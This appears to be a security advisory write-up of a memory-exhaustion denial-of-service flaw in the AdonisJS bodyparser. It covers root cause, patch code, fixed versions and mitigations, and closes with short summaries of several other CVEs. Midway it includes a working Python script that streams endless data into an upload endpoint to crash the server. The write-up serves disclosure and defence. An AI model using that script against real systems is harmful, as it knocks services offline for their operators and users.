Feb 8, 2026·6 min read·63 visits
The AdonisJS bodyparser tries to auto-detect file types by reading the start of a file stream. Before the patch, it didn't stop reading if it couldn't find a match. Attackers can send an endless stream of garbage, causing the server to buffer it all until it crashes from memory exhaustion.
A classic but devastating Denial of Service vulnerability in the AdonisJS framework's `@adonisjs/bodyparser` package. By exploiting the multipart file parser's eagerness to identify file types (magic numbers), an attacker can stream an infinite amount of data into a memory buffer that never flushes. This results in a rapid consumption of server RAM, triggering an Out-of-Memory (OOM) crash and effectively taking down the application with a single malicious POST request.
Modern web frameworks are like over-eager butlers. They want to do everything for you before you even ask. In the Node.js ecosystem, AdonisJS is one of the polished ones, offering a robust structure similar to Laravel or Rails. One of its conveniences is the @adonisjs/bodyparser, a middleware responsible for chewing up incoming HTTP request bodies—JSON, forms, and the heavy lifter: multipart/form-data.
Here is the scenario: You are building a file upload feature. You want to know if the user is uploading a JPEG, a PNG, or a malicious EXE. AdonisJS, trying to be helpful, attempts to "sniff" the file stream as it comes in. It peeks at the first few bytes—the "magic numbers"—to determine the MIME type automatically.
Ideally, this only takes a few bytes (e.g., FF D8 FF for a JPEG). But what happens if the framework keeps reading, and reading, and reading, waiting for a magic number that never appears? You get CVE-2026-25762. It’s not a buffer overflow in the C sense (we aren't smashing the stack), but it is a buffer bloat that is just as deadly for availability.
The root cause lies in the PartHandler logic within the bodyparser. When a file part is detected in a multipart stream, the parser pauses the flow of data to the disk (or final destination) to buffer the initial chunk for inspection. This is necessary because you can't rewind a stream easily in Node.js without buffering.
The logic roughly went like this: "Buffer incoming data chunks until we recognize the file type." The fatal flaw? There was no MAX_BUFFER_SIZE check in that specific loop.
In a healthy request, the magic numbers appear in the first 0-4100 bytes. But in a malicious request, an attacker can send a stream that effectively looks like /dev/urandom—pure entropy or just zeros—forever. Because the parser code was thinking, "I haven't seen the file signature yet, better keep buffering so I don't miss it," it accumulates the attacker's stream into the Node.js heap. Since Node.js has a default memory limit (often 2GB or 4GB depending on flags), it doesn't take long for a single connection to eat it all.
While the exact proprietary code isn't pasted here, we can reconstruct the vulnerability pattern based on the patch analysis. The vulnerable implementation behaves like a greedy stream consumer.
// Conceptual representation of the flaw
fileStream.on('data', (chunk) => {
// 1. Append new data to our internal buffer
internalBuffer = Buffer.concat([internalBuffer, chunk]);
// 2. Try to detect the file type
const type = detector.fromBuffer(internalBuffer);
if (type) {
// Success! We know what it is.
stopBufferingAndStream(internalBuffer);
} else {
// 3. THE BUG: We didn't find a type, so we just wait for more data.
// If the attacker sends 10GB of data without a magic number,
// 'internalBuffer' grows to 10GB -> OOM Crash.
return;
}
});The fix is arguably simple: stop being so optimistic. If you haven't identified the file type after looking at the first 4KB (a standard chunk size), you aren't going to find it. The patch introduces a hard limit.
// The patched logic
const MAX_SNIFF_SIZE = 4100; // Enough for almost all magic numbers
fileStream.on('data', (chunk) => {
internalBuffer = Buffer.concat([internalBuffer, chunk]);
const type = detector.fromBuffer(internalBuffer);
// MITIGATION: Check if we've exceeded the sniffing limit
if (!type && internalBuffer.length > MAX_SNIFF_SIZE) {
// Stop buffering. Assume generic binary or fail.
// This caps memory usage per request to ~4KB.
stopBufferingAndStream(internalBuffer, 'application/octet-stream');
}
});By adding that length check, the memory usage for type detection goes from $O(n)$ (where $n$ is the attacker's stream size) to $O(1)$ (constant size).
Exploiting this does not require advanced shellcode or heap grooming. You just need to be annoying. The goal is to keep the HTTP connection open and pour data into a single multipart field without ever sending a recognized header.
Here is how a researcher (or attacker) would script this using Python to visualize the attack vector:
import requests
import time
# The target endpoint handling uploads
url = 'http://localhost:3333/upload'
def infinite_stream():
# Yield chunks of 'A' forever.
# 'A' (0x41) is not a magic number for common files.
while True:
yield b'A' * 1024 * 1024 # 1MB chunks
# Sleep slightly to keep connection stable but fill RAM fast
time.sleep(0.01)
files = {'file': ('payload.bin', infinite_stream())}
try:
print("[*] Initiating memory exhaustion attack...")
# This sends a multipart request where the file body never ends
requests.post(url, files=files)
except Exception as e:
print(f"[!] Server likely crashed: {e}")On the server side, you will see the Node.js process resident set size (RSS) climb vertically. Within seconds (depending on bandwidth), the V8 engine will hit its allocation limit and abort with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. The server restarts, dropping all other legitimate connections.
This is a high-severity Availability issue (CVSS 7.5). While it doesn't allow data theft (Confidentiality) or data tampering (Integrity), it is arguably more annoying for operations teams. A single attacker can keep a cluster of Node.js instances in a reboot loop, effectively taking the application offline.
If you are using @adonisjs/bodyparser, you need to upgrade immediately. The fix was backported to multiple versions.
npm list @adonisjs/bodyparser10.1.3 or later.11.0.0-next.9 or later.Beyond the patch, never trust application-layer parsers blindly. Place a reverse proxy like Nginx in front of your Node.js apps. Configure client_max_body_size in Nginx. While this specific CVE exploits the buffering (meaning a small valid body could still trigger it if sent weirdly, though usually, this requires size), a hard limit on request body size is a mandatory first line of defense.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@adonisjs/bodyparser AdonisJS | < 10.1.3 | 10.1.3 |
@adonisjs/bodyparser AdonisJS | < 11.0.0-next.9 | 11.0.0-next.9 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 (Uncontrolled Resource Consumption) |
| CVSS | 7.5 (High) |
| Attack Vector | Network (Remote) |
| Availability Impact | High (Service Crash) |
| Exploit Status | Trivial / PoC reproducible |
| EPSS Score | 0.00012 (Low probability of mass exploitation) |
The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume all available resources.
CVE-2026-63402 is a prototype-chain traversal and shared built-in object corruption vulnerability in the i18next internationalization framework for JavaScript prior to version 26.3.4. The flaw resides in the deepExtend utility function within src/utils.js, which uses the JavaScript 'in' operator to verify property existence on target objects. When an application passes untrusted resource bundles to i18next.addResourceBundle() with both the deep and overwrite parameters set to true, an attacker can traverse into inherited methods on Object.prototype and overwrite properties on shared built-in function objects, causing process-wide denial of service.
CVE-2026-58262 (tracked internally as KLR-04 and via GitHub Security Advisory GHSA-f9h7-4mmq-vgcq) is a cryptographic verification and consensus quorum bypass vulnerability in Klever-Go (`klever-io/klever-go`), the Go implementation of the Klever blockchain protocol. Prior to version 1.7.20, the block header signature verification logic (`HeaderSigVerifier.verifyConsensusSize`) counts all set bits across the entire `PubKeysBitmap` byte slice toward the required two-thirds validator quorum without masking or validating unused trailing padding bits in the final byte. Because the underlying Boneh-Lynn-Shacham (BLS) multi-signature verification function (`blsMultiSigner.Verify`) iterates strictly over the indices of configured validator public keys, it ignores any bits set at indices beyond the active consensus group size. When the consensus group size is not an exact multiple of 8, a compromised or malicious block producer can set these unused trailing padding bits to artificially inflate the apparent signer count by up to 7 signatures, enabling blocks with fewer genuine validator signatures than required by the protocol to pass consensus validation.
CVE-2026-77423 is a Regular Expression Denial of Service (ReDoS) vulnerability in the built-in less viewer of the JLine Java library (versions 3.0.0 prior to 3.30.15, and 4.0.0 prior to 4.3.1). The org.jline.builtins.Less class passes user-supplied search and display-filter patterns directly to Java's standard backtracking regular expression engine without complexity validation or execution timeouts. An attacker with access to an interactive JLine session can submit patterns containing nested quantifiers, causing catastrophic backtracking that consumes 100% of a CPU core and blocks the session thread indefinitely. In network-facing deployments such as SSH or Telnet administration consoles, repeated exploitation across concurrent sessions can exhaust bounded worker thread pools and result in a complete denial of service.
CVE-2026-63492 is a rejected CVE identifier originally assigned by GitHub for an OS command injection vulnerability in WWBN AVideo (formerly YouPHPTube) up to version 29.0. It was rejected as a duplicate of the canonical identifier CVE-2026-63304 (tracked under GHSA-j44m-77cc-p3cc). The flaw resides in the listFFmpegProcesses() function within plugin/API/standAlone/functions.php, which interpolates unsanitized user parameters directly into a single-quoted shell pipeline executed via PHP's exec() function. Attackers capable of crafting a valid AES-256-CBC encrypted API payload can break out of the single-quoted context and execute arbitrary operating system commands as the web-server user.
CVE-2026-63476 is an uncontrolled resource consumption vulnerability in isomorphic-git prior to version 1.38.6. When parsing Git packfile delta objects during clone or fetch operations, the applyDelta utility reads an untrusted targetSize integer from the delta stream header and passes it directly to Buffer.alloc(). A malicious remote Git server or man-in-the-middle attacker can supply a delta header specifying a targetSize of approximately 2 GB with minimal actual payload data. Because Buffer.alloc() reserves off-heap memory in Node.js, this bypasses standard V8 heap limits and results in immediate out-of-memory termination or sustained memory retention.
CVE-2026-63410 (GHSA-vp2j-gqfm-r3cf) is a compiler-induced timing side-channel vulnerability in the secp256k1-native Ruby C extension. When compiled with GCC 14.x or 15.x at optimization level -O2, the compiler reconstructs boolean predicates from branchless bitwise multiplexer routines and emits secret-dependent conditional jump instructions (je/jne). During elliptic curve scalar multiplication in the Montgomery ladder, these conditional branches create observable execution timing variations correlated with individual bits of secret private keys or signing nonces.